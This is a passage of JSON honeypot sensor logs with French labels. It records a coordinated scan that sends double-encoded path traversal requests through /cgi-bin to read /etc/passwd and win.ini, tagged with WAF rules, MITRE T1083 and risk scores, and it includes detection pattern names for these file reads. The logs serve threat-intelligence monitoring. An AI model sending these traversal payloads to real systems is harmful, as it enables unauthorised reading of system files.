\u0022request_sample\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9207\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022payload_snippet\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1083\u0022], \u0022mitre\u0022: \u0022T1083\u0022, \u0022threat_family\u0022: [\u0022path_traversal\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00221a39010c560596a00ea3dfd364b677491252f25e\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini\u0022, \u0022request_line\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 9207, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi\u0022, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026\u0022, \u0022target_port_label\u0022: \u00229207 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 67, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 67, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 9207, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022INT-http_lfi\u0022, \u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022, \u0022INT-upstream\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022Http Lfi\u0022, \u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022, \u0022Upstream\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1083\u0022, \u0022mitre_technique\u0022: \u0022T1083\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini\u0022, \u0022request_line\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 9207, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026\u0022, \u0022evidence_snippet\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi\u0022, \u0022target_port_label\u0022: \u00229207 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 5 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00229207\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950260:lfi-0\u0022, \u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_path_traversal\u0022, \u0022http_probe_cgi_bin\u0022, \u0022http_sensitive_path\u0022, \u0022iot_http_endpoint\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:9207","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950260:lfi-0\u0022, \u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_path_traversal\u0022, \u0022http_probe_cgi_bin\u0022, \u0022http_sensitive_path\u0022, \u0022iot_http_endpoint\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":344},{"id":14482681,"ip":"34.19.116.51","ts":"2026-07-30 18:56:18.000000","proto":"tcp","src_port":45056,"dst_port":9207,"service":"http","classification":"lfi_path_traversal","waf_score":35,"waf_tags":"[\u0022950260:lfi-0\u0022, \u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 10, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022b6b0702a8fb6144179643638329a55a1879f5d46\u0022, \u0022http_target_hash\u0022: \u002247675bd2bfeb14823e0d442f0375d8c7248caf88\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 339, \u0022payload_entropy\u0022: 5.149184183371106, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 9207, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 78.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.0, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 67, \u0022tag_count\u0022: 10, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022d66364ef3e534b7e2a132451a7ff7976781b1c6f\u0022, \u0022event_fingerprint\u0022: \u00223e1a557c3212424bd39ecbf1d58eb6ac067dcd6b\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 457, \u0022precision_signals\u0022: [\u0022MITRE-T1083\u0022, \u0022INT-http_lfi\u0022, \u0022pat-0716\u0022, \u0022pat-0137\u0022, \u0022CRS-930100-sub\u0022, \u0022INT-upstream\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1083\u0022, \u0022INT-http_lfi\u0022, \u0022pat-0716\u0022, \u0022pat-0137\u0022, \u0022CRS-930100-sub\u0022, \u0022INT-upstream\u0022, \u0022INT-waf-score\u0022], \u0022matched_patterns\u0022: [\u0022pat-0716\u0022, \u0022pat-0137\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 930160 etc passwd\u0022, \u0022LFI path \/etc\/passwd\u0022], \u0022pattern_ids\u0022: [\u0022pat-0716\u0022, \u0022pat-0137\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 67, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022path_traversal\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022309c1e34420278475138c116f5dee0e7\u0022, \u0022path_pattern_hash\u0022: \u002282b384efd9ccbe154a2872539486157a\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 9207, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 67}, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950260:lfi-0\u0022, \u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-0\u0022, \u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1\u0022, \u0022payload_snippet\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950260:lfi-0\u0022, \u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-0\u0022, \u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9207\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X\u0022, \u0022payload_snippet\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1083\u0022], \u0022mitre\u0022: \u0022T1083\u0022, \u0022threat_family\u0022: [\u0022path_traversal\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00221e78f9f5853d14b568640cbea34fc30924c66a79\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd\u0022, \u0022request_line\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 9207, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd\u0022, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026\u0022, \u0022target_port_label\u0022: \u00229207 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 67, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 67, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 9207, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1083\u0022, \u0022INT-http_lfi\u0022, \u0022pat-0716\u0022, \u0022pat-0137\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1083\u0022, \u0022Http Lfi\u0022, \u0022pat-0716\u0022, \u0022pat-0137\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1083\u0022, \u0022mitre_technique\u0022: \u0022T1083\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd\u0022, \u0022request_line\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 9207, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026\u0022, \u0022evidence_snippet\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd\u0022, \u0022target_port_label\u0022: \u00229207 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 5 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00229207\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950260:lfi-0\u0022, \u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_path_traversal\u0022, \u0022http_probe_cgi_bin\u0022, \u0022http_sensitive_path\u0022, \u0022iot_http_endpoint\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true, \u0022behavior_alert_count\u0022: 1, \u0022behavior_priority\u0022: 72}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:9207","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950260:lfi-0\u0022, 